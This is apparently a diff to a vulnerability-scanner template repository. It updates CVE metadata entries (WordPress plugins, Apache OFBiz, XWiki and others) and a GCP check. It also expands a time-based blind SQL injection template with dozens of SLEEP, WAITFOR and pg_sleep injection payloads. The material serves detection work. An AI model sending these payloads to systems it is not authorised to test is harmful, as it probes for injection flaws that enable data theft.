+| rce       |   786 | pdresearch    |   269 | ssl        |    38 |          |       |      |       |
+| lfi       |   777 | iamnoooob     |   257 | dns        |    23 |          |       |      |       |
@@ -35,7 +35,7 @@ code:
        name: projectIds
        internal: true
        json:
-          - '.[].projectId'
+          - ".[].projectId"

  - engine:
      - sh
@@ -45,11 +45,12 @@ code:

    matchers:
      - type: word
+        part: body
        words:
-          - 'default'
+          - '"name": "default"'

    extractors:
      - type: dsl
        dsl:
          - '"The default VPC network is in use in project " + projectId'
-# digest: 4b0a00483046022100ab535503a862d00ef6624bb1eb9dcf10f41a12512e62037044333ae5d539fafc022100e5d94c98878e32663b7a4da7abe3150a742fbf9226ae4af273d4282c11353910:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dac56d5c0cf82c13d6b7d4b2556aea94ece44bd1ee3fa9dea355cfee33296539022035233a06905e636e15a23dae37054a6eef797b37db6da1a9f716fd119562de7c:922c64590222798bb761d5b6d8e72950
@@ -1708,7 +1708,7 @@
 {"ID":"CVE-2022-1442","Info":{"Name":"WordPress Metform \u003c=2.1.3 - Information Disclosure","Severity":"high","Description":"WordPress Metform plugin through 2.1.3 is susceptible to information disclosure due to improper access control in the ~/core/forms/action.php file. An attacker can view all API keys and secrets of integrated third-party APIs such as that of PayPal, Stripe, Mailchimp, Hubspot, HelpScout, reCAPTCHA and many more.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-1442.yaml"}
 {"ID":"CVE-2022-1574","Info":{"Name":"WordPress HTML2WP \u003c=1.0.0 - Arbitrary File Upload","Severity":"critical","Description":"WordPress HTML2WP plugin through 1.0.0 contains an arbitrary file upload vulnerability. The plugin does not perform authorization and CSRF checks when importing files and does not validate them. As a result, an attacker can upload arbitrary files on the remote server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-1574.yaml"}
 {"ID":"CVE-2022-1580","Info":{"Name":"Site Offline WP Plugin \u003c 1.5.3 - Authorization Bypass","Severity":"medium","Description":"The plugin prevents users from accessing a website but does not do so if the URL contained certain keywords. Adding those keywords to the URL's query string would bypass the plugin's main feature.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2022/CVE-2022-1580.yaml"}
-{"ID":"CVE-2022-1595","Info":{"Name":"WordPress HC Custom WP-Admin URL \u003c=1.4 - Admin Login URL Disclosure","Severity":"medium","Description":"WordPress HC Custom WP-Admin URL plugin through 1.4 leaks the secret login URL when sending a specially crafted request, thereby allowing an attacker to discover the administrative login URL.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-1595.yaml"}
+{"ID":"CVE-2022-1595","Info":{"Name":"WordPress HC Custom WP-Admin URL \u003c=1.4 - Admin Login URL Disclosure","Severity":"medium","Description":"The HC Custom WP-Admin URL WordPress plugin through 1.4 leaks the secret login URL when sending a specific crafted request\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-1595.yaml"}
 {"ID":"CVE-2022-1597","Info":{"Name":"WordPress WPQA \u003c5.4 - Cross-Site Scripting","Severity":"medium","Description":"WordPress WPQA plugin prior to 5.4 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter on its reset password form.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-1597.yaml"}
 {"ID":"CVE-2022-1598","Info":{"Name":"WordPress WPQA \u003c5.5 - Improper Access Control","Severity":"medium","Description":"WordPress WPQA plugin before 5.5 is susceptible to improper access control. The plugin lacks authentication in a REST API endpoint. An attacker can potentially discover private questions sent between users on the site.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-1598.yaml"}
 {"ID":"CVE-2022-1609","Info":{"Name":"The School Management \u003c 9.9.7 - Remote Code Execution","Severity":"critical","Description":"The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-1609.yaml"}
@@ -2784,7 +2784,7 @@
 {"ID":"CVE-2024-3552","Info":{"Name":"Web Directory Free \u003c 1.7.0 - SQL Injection","Severity":"critical","Description":"The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-3552.yaml"}
 {"ID":"CVE-2024-35584","Info":{"Name":"openSIS \u003c 9.1 - SQL Injection","Severity":"high","Description":"SQL injection vulnerability in Ajax.php, ForWindow.php, ForExport.php, Modules.php, functions/HackingLogFnc.php in OpenSis Community Edition 9.1, 8.0, and possibly earlier versions. It is possible for an authenticated user to perform SQL Injection due to the lack to sanitisation. The application takes arbitrary value from \"X-Forwarded-For\" header and appends it to a SQL INSERT statement directly, leading to SQL Injection.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-35584.yaml"}
 {"ID":"CVE-2024-35627","Info":{"Name":"TileServer API - Cross Site Scripting","Severity":"medium","Description":"tileserver-gl up to v4.4.10 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /data/v3/?key.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-35627.yaml"}
-{"ID":"CVE-2024-36104","Info":{"Name":"Apache OFBiz - Path Traversal","Severity":"critical","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-36104.yaml"}
+{"ID":"CVE-2024-36104","Info":{"Name":"Apache OFBiz - Directory Traversal \u0026 Remote Code Execution","Severity":"critical","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-36104.yaml"}
 {"ID":"CVE-2024-36117","Info":{"Name":"Reposilite \u003e= 3.3.0, \u003c 3.5.12 - Arbitrary File Read","Severity":"high","Description":"Reposilite is an open source, lightweight and easy-to-use repository manager for Maven based artifacts in JVM ecosystem. Reposilite v3.5.10 is affected by an Arbitrary File Read vulnerability via path traversal while serving expanded javadoc files. Reposilite has addressed this issue in version 3.5.12. There are no known workarounds for this vulnerability. This issue was discovered and reported by the GitHub Security lab and is also tracked as GHSL-2024-074.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-36117.yaml"}
 {"ID":"CVE-2024-36401","Info":{"Name":"GeoServer RCE in Evaluating Property Name Expressions","Severity":"critical","Description":"In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-36401.yaml"}
 {"ID":"CVE-2024-36404","Info":{"Name":"GeoServer and GeoTools - Remote Code Execution","Severity":"critical","Description":"GeoTools is an open source Java library that provides tools for geospatial data. Prior to versions 31.2, 30.4, and 29.6, Remote Code Execution (RCE) is possible if an application uses certain GeoTools functionality to evaluate XPath expressions supplied by user input. Versions 31.2, 30.4, and 29.6 contain a fix for this issue. As a workaround, GeoTools can operate with reduced functionality by removing the `gt-complex` jar from one's application. As an example of the impact, application schema `datastore` would not function without the ability to use XPath expressions to query complex content. Alternatively, one may utilize a drop-in replacement GeoTools jar from SourceForge for versions 31.1, 30.3, 30.2, 29.2, 28.2, 27.5, 27.4, 26.7, 26.4, 25.2, and 24.0. These jars are for download only and are not available from maven central, intended to quickly provide a fix to affected applications.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-36404.yaml"}
@@ -2816,7 +2816,7 @@
 {"ID":"CVE-2024-38514","Info":{"Name":"NextChat - Server-Side Request Forgery","Severity":"high","Description":"NextChat v2.12.3 suffers from a Server-Side Request Forgery (SSRF) and Cross-Site Scripting vulnerability due to a lack of validation of the GET parameter on the WebDav API endpoint.\n","Classification":{"CVSSScore":"7.4"}},"file_path":"http/cves/2024/CVE-2024-38514.yaml"}
 {"ID":"CVE-2024-38653","Info":{"Name":"Ivanti Avalanche SmartDeviceServer - XML External Entity","Severity":"high","Description":"XXE in SmartDeviceServer in Ivanti Avalanche 6.3.1 allows a remote unauthenticated attacker to read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-38653.yaml"}
 {"ID":"CVE-2024-38816","Info":{"Name":"WebMvc.fn/WebFlux.fn - Path Traversal","Severity":"high","Description":"Applications serving static resources through the functional web frameworks WebMvc.fn or WebFlux.fn are vulnerable to path traversal attacks. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible to the process in which the Spring application is running.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-38816.yaml"}
-{"ID":"CVE-2024-38856","Info":{"Name":"Apache OFBiz - Remote Code Execution","Severity":"critical","Description":"Incorrect Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-38856.yaml"}
+{"ID":"CVE-2024-38856","Info":{"Name":"Apache OFBiz - Improper Authorization \u0026 Remote Code Execution","Severity":"critical","Description":"Improper Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-38856.yaml"}
 {"ID":"CVE-2024-3922","Info":{"Name":"Dokan Pro \u003c= 3.10.3 - SQL Injection","Severity":"critical","Description":"The Dokan Pro plugin for WordPress is vulnerable to SQL Injection via the 'code' parameter in all versions up to, and including, 3.10.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-3922.yaml"}
 {"ID":"CVE-2024-39250","Info":{"Name":"EfroTech Timetrax v8.3 - Sql Injection","Severity":"high","Description":"EfroTech Timetrax v8.3 was discovered to contain an unauthenticated SQL injection vulnerability via the q parameter in the search web interface.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-39250.yaml"}
 {"ID":"CVE-2024-39713","Info":{"Name":"Rocket.Chat - Server-Side Request Forgery (SSRF)","Severity":"high","Description":"A Server-Side Request Forgery (SSRF) affects Rocket.Chat's Twilio webhook endpoint before version 6.10.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-39713.yaml"}
@@ -3102,6 +3102,7 @@
 {"ID":"CVE-2025-31324","Info":{"Name":"SAP NetWeaver Visual Composer Metadata Uploader - Deserialization","Severity":"critical","Description":"SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-31324.yaml"}
 {"ID":"CVE-2025-31489","Info":{"Name":"MinIO - Incomplete Signature Validation for Unsigned-Trailer Uploads","Severity":"high","Description":"MinIO is a High Performance Object Storage released under GNU Affero General Public License v3.0. The signature component of the authorization may be invalid, which would mean that as a client you can use any arbitrary secret to upload objects given the user already has prior WRITE permissions on the bucket. Prior knowledge of access-key, and bucket name this user might have access\nto - and an access-key with a WRITE permissions is necessary. However with relevant information in place, uploading random objects to buckets is trivial and easy via curl.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-31489.yaml"}
 {"ID":"CVE-2025-32101","Info":{"Name":"UNA CMS \u003c= 14.0.0-RC4 - PHP Object Injection","Severity":"critical","Description":"The vulnerability is located in the /template/scripts/BxBaseMenuSetAclLevel.php script. Specifically, within the BxBaseMenuSetAclLevel::getCode() method. When calling this method, user input passed through the \"profile_id\" POST parameter is not properly sanitized before being used in a call to the unserialize() PHP function. This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as writing and executing arbitrary PHP code.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-32101.yaml"}
+{"ID":"CVE-2025-32430","Info":{"Name":"XWiki Platform - Cross-Site Scripting","Severity":"medium","Description":"XWiki Platform versions \u003e= 4.2-milestone-3 and \u003c 16.4.8, \u003e= 16.5.0-rc-1 and \u003c 16.10.6, and \u003e= 17.0.0-rc-1 and \u003c 17.3.0-rc-1 are vulnerable to reflected XSS in two templates. The vulnerability allows an attacker to execute malicious JavaScript code in the context of the victim's session by getting the victim to visit an attacker-controlled URL.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-32430.yaml"}
 {"ID":"CVE-2025-32432","Info":{"Name":"CraftCMS - Remote Code Execution","Severity":"critical","Description":"Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution. This is a high-impact, low-complexity attack vector.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-32432.yaml"}
 {"ID":"CVE-2025-3248","Info":{"Name":"Langflow AI - Unauthenticated Remote Code Execution","Severity":"critical","Description":"Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-3248.yaml"}
 {"ID":"CVE-2025-32813","Info":{"Name":"Infoblox NetMRI \u003c 7.6.1 - Unauthenticated Command Injection in get_saml_request","Severity":"high","Description":"An issue was discovered in Infoblox NETMRI before 7.6.1. Remote Unauthenticated Command Injection can occur.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2025/CVE-2025-32813.yaml"}
@@ -3113,6 +3114,7 @@
 {"ID":"CVE-2025-34031","Info":{"Name":"Moodle Jmol Filter 6.1 - Local File Inclusion","Severity":"high","Description":"Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-34031.yaml"}
 {"ID":"CVE-2025-34032","Info":{"Name":"Moodle LMS Jmol Plugin \u003c= 6.1 - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-34032.yaml"}
 {"ID":"CVE-2025-34040","Info":{"Name":"Zhiyuan OA Platform - Arbitrary File Upload","Severity":"critical","Description":"An arbitrary file upload vulnerability exists in the Zhiyuan OA platform 5.0, 5.1 - 5.6sp1, 6.0 - 6.1sp2, 7.0, 7.0sp1 - 7.1, 7.1sp1, and 8.0 - 8.0sp2 via the wpsAssistServlet interface. The realFileType and fileId parameters are improperly validated during multipart file uploads, allowing unauthenticated attackers to upload crafted JSP files outside of intended directories using path traversal. Successful exploitation enables remote code execution as the uploaded file can be accessed and executed through the web server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34040.yaml"}
+{"ID":"CVE-2025-34073","Info":{"Name":"Maltrail \u003c=0.54 Username Parameter -  Remote Command Execution","Severity":"critical","Description":"Maltrail versions \u003c=0.54. A remote attacker can execute arbitrary operating system commands via the username parameter in a POST request to the /login endpoint.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34073.yaml"}
 {"ID":"CVE-2025-34077","Info":{"Name":"WordPress Pie Register \u003c= 3.7.1.4 - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability exists in the WordPress Pie Register plugin ≤ 3.7.1.4 that allows unauthenticated attackers to impersonate arbitrary users by submitting a crafted POST request to the login endpoint. By setting social_site=true and manipulating the user_id_social_site parameter, an attacker can generate a valid WordPress session cookie for any user ID, including administrators.Once authenticated, the attacker may exploit plugin upload functionality to install a malicious plugin containing arbitrary PHP code, resulting in remote code execution on the underlying server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34077.yaml"}
 {"ID":"CVE-2025-34085","Info":{"Name":"WordPress Simple File List \u003c=4.2.2 - Remote Code Execution","Severity":"critical","Description":"An unrestricted file upload vulnerability in the WordPress Simple File List plugin before version 4.2.3 allows unauthenticated remote attackers to achieve remote code execution. The plugin's upload endpoint (ee-upload-engine.php) restricts file uploads based on extension, but lacks proper validation after file renaming. An attacker can first upload a PHP payload disguised as a .png file, then use the plugin’s ee-file-engine.php rename functionality to change the extension to .php. This bypasses upload restrictions and results in the uploaded payload being executable on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-34085.yaml"}
 {"ID":"CVE-2025-34141","Info":{"Name":"ETQ Reliance - Reflected XSS via SQLConverterServlet","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in ETQ Reliance CG (legacy) platform within the SQLConverterServlet component. This vulnerability requires user interaction, such as clicking a crafted link, and may result in execution of unauthorized scripts in the user's context. The affected servlet was unnecessarily exposed to authenticated users and has since been disabled in version SE.2025.1.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-34141.yaml"}
@@ -3158,6 +3160,7 @@
 {"ID":"CVE-2025-53770","Info":{"Name":"Microsoft SharePoint Server - Remote Code Execution (ToolShell)","Severity":"critical","Description":"Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an unauthorized attacker to execute code over a network. Microsoft is aware that an exploit for CVE-2025-53770 exists in the wild. Microsoft is preparing and fully testing a comprehensive update to address this vulnerability. In the meantime, please make sure that the mitigation provided in this CVE documentation is in place so that you are protected from exploitation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-53770.yaml"}
 {"ID":"CVE-2025-53833","Info":{"Name":"LaRecipe \u003c 2.8.1 Remote Code Execution via SSTI","Severity":"critical","Description":"LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-53833.yaml"}
 {"ID":"CVE-2025-5394","Info":{"Name":"Unauthenticated Arbitrary Plugin Upload in Alone Theme","Severity":"critical","Description":"The Alone – Charity Multipurpose Non-profit WordPress Theme theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the alone_import_pack_install_plugin() function in all versions up to, and including, 7.8.3.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5394.yaml"}
+{"ID":"CVE-2025-54589","Info":{"Name":"Copyparty \u003c=1.18.6 - Cross-Site Scripting","Severity":"medium","Description":"Copyparty before 1.18.7 is vulnerable to reflected cross-site scripting (XSS) via the 'filter' parameter in the '/?ru' endpoint. Unsanitized user input is reflected in the HTML response, allowing attackers to execute arbitrary JavaScript in the context of the victim's browser.\n","Classification":{"CVSSScore":"6.3"}},"file_path":"http/cves/2025/CVE-2025-54589.yaml"}
 {"ID":"CVE-2025-54782","Info":{"Name":"NestJS DevTools Integration - Remote Code Execution","Severity":"critical","Description":"Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2025/CVE-2025-54782.yaml"}
 {"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}
 {"ID":"CVE-2025-5777","Info":{"Name":"Citrix NetScaler Memory Disclosure - CitrixBleed 2","Severity":"critical","Description":"Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5777.yaml"}
@@ -3165,6 +3168,7 @@
 {"ID":"CVE-2025-6058","Info":{"Name":"WPBookit \u003c= 1.0.4 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6058.yaml"}
 {"ID":"CVE-2025-6197","Info":{"Name":"Open Redirect via Organization Switching","Severity":"medium","Description":"An open redirect vulnerability has been identified in Grafana OSS organization switching functionality. Prerequisites for exploitation Multiple organizations must exist in the Grafana instance - Victim must be on a different organization than the one specified in the URL\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6197.yaml"}
 {"ID":"CVE-2025-6851","Info":{"Name":"WordPress Broken Link Notifier \u003c 1.3.1 - Unauthenticated SSRF","Severity":"high","Description":"The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-6851.yaml"}
+{"ID":"CVE-2025-6934","Info":{"Name":"The Opal Estate Pro – Property Management \u003c= 1.7.5 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The Opal Estate Pro plugin (≤ 1.7.5) is vulnerable to privilege escalation. Due to missing role restrictions in the on_register_user function, users can register with any role. This allows unauthenticated attackers to create administrator accounts.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6934.yaml"}
 {"ID":"CVE-2025-6970","Info":{"Name":"WordPress Events Manager \u003c= 7.0.3 - SQL Injection","Severity":"critical","Description":"The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6970.yaml"}
 {"ID":"CVE-2025-8286","Info":{"Name":"Güralp Systems FMUS Series - Unauthenticated Access","Severity":"critical","Description":"Güralp Systems FMUS Series Seismic Monitoring Devices expose an unauthenticated Telnet-based command line interface that allows attackers to modify hardware configurations, manipulate data, or factory reset the device.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-8286.yaml"}
 {"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}
@@ -1 +1 @@
-f3cdc71e9b87bed8d5aeb991287ac185
+3a74c74dfb60ee61c2864054b1b4df88
@@ -2,10 +2,10 @@ id: time-based-sqli

 info:
  name: Time-Based Blind SQL Injection
-  author: 0xKayala
+  author: 0xKayala,Jaenact
  severity: critical
  description: |
-    This Template detects time-based Blind SQL Injection vulnerability
+    Sends time-delay SQL payloads and measures response latency to confirm blind injection in various database engines, enabling data extraction without direct error messages.
  tags: time-based-sqli,sqli,dast,blind

 flow: http(1) && http(2)
@@ -29,12 +29,87 @@ http:

    payloads:
      injection:
+        # MySQL / MariaDB
        - "(SELECT(0)FROM(SELECT(SLEEP(7)))a)"
        - "'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z"
        - "' AND (SELECT 4800 FROM (SELECT(SLEEP(7)))HoBG)--"
        - "if(now()=sysdate(),SLEEP(7),0)"
        - "'XOR(if(now()=sysdate(),SLEEP(7),0))XOR'Z"
        - "'XOR(SELECT CASE WHEN(1234=1234) THEN SLEEP(7) ELSE 0 END)XOR'Z"
+        - "sleep(7)#"
+        - "1 or sleep(7)#"
+        - "\" or sleep(7)#"
+        - "' or sleep(7)#"
+        - "\" or sleep(7)=\""
+        - "' or sleep(7)='"
+        - "1) or sleep(7)#"
+        - "\") or sleep(7)=\""
+        - "') or sleep(7)='"
+        - "1)) or sleep(7)#"
+        - "\")) or sleep(7)=\""
+        - "')) or sleep(7)='"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))bAKL) AND 'vRxe'='vRxe"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))YjoC) AND '%'='"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))nQIP)"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))nQIP)--"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))nQIP)#"
+        - "SLEEP(7)#"
+        - "SLEEP(7)--"
+        - "SLEEP(7)=\""
+        - "SLEEP(7)='"
+        - "or SLEEP(7)"
+        - "or SLEEP(7)#"
+        - "or SLEEP(7)--"
+        - "or SLEEP(7)=\""
+        - "or SLEEP(7)='"
+        - "AnD SLEEP(7)"
+        - "AnD SLEEP(7)--"
+        - "AnD SLEEP(7)#"
+        - "&&SLEEP(7)"
+        - "&&SLEEP(7)--"
+        - "&&SLEEP(7)#"
+        - "' AnD SLEEP(7) ANd '1"
+        - "'&&SLEEP(7)&&'1"
+        - "ORDER BY SLEEP(7)"
+        - "ORDER BY SLEEP(7)--"
+        - "ORDER BY SLEEP(7)#"
+        - "(SELECT * FROM (SELECT(SLEEP(7)))ecMj)"
+        - "(SELECT * FROM (SELECT(SLEEP(7)))ecMj)#"
+        - "(SELECT * FROM (SELECT(SLEEP(7)))ecMj)--"
+        - "+ SLEEP(7) + '"
+        - "SLEEP(7)/*' or SLEEP(7) or '\" or SLEEP(7) or \"*/"
+
+        # SQL Server
+        - ";waitfor delay '0:0:7'--"
+        - ");waitfor delay '0:0:7'--"
+        - "';waitfor delay '0:0:7'--"
+        - "\";waitfor delay '0:0:7'--"
+        - "');waitfor delay '0:0:7'--"
+        - "\");waitfor delay '0:0:7'--"
+        - "));waitfor delay '0:0:7'--"
+        - "'));waitfor delay '0:0:7'--"
+        - "\"));waitfor delay '0:0:7'--"
+        - "waitfor delay '00:00:07'"
+        - "waitfor delay '00:00:07'--"
+        - "waitfor delay '00:00:07'#"
+
+        # PostgreSQL
+        - "pg_sleep(7)--"
+        - "1 or pg_sleep(7)--"
+        - "\" or pg_sleep(7)--"
+        - "' or pg_sleep(7)--"
+        - "1) or pg_sleep(7)--"
+        - "\") or pg_sleep(7)--"
+        - "') or pg_sleep(7)--"
+        - "1)) or pg_sleep(7)--"
+        - "\")) or pg_sleep(7)--"
+        - "')) or pg_sleep(7)--"
+        - "pg_SLEEP(7)"
+        - "pg_SLEEP(7)--"
+        - "pg_SLEEP(7)#"
+        - "or pg_SLEEP(7)"
+        - "or pg_SLEEP(7)--"
+        - "or pg_SLEEP(7)#"

    fuzzing:
      - part: query
@@ -44,8 +119,9 @@ http:
          - "{{injection}}"

    stop-at-first-match: true
+
    matchers:
      - type: dsl
        dsl:
          - "duration>=7 && duration <=16"
-# digest: 4a0a004730450220221817cdddedb8336ddb4afc4476f70da46a0dfb726a703a5e748458ae5bef000221009ebe3675d3fd10bf29161c179bd9b317b01f18643c2f8a6731ed9d89569495cc:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220309239d5777147313e84be59dd7de76c9ecf2fb9906dfee402c77c9699956df9022046402821c7d21565effb26fd2aab34bf0474ebfb6876b979f1efadebc7af04c4:922c64590222798bb761d5b6d8e72950
@@ -23,4 +23,4 @@ dns:
      - type: regex
        regex:
          - "v=BIMI1(.+)"
-# digest: 490a0046304402201457662f22b233a514a8b08c34c1004b8ca1d22eae5fcfefdc75598fb63b6a7e02200884db9849b72a1cdd06dbc5e1d9bedaa131ea21511570c95d85effe4abe18de:922c64590222798bb761d5b6d8e72950
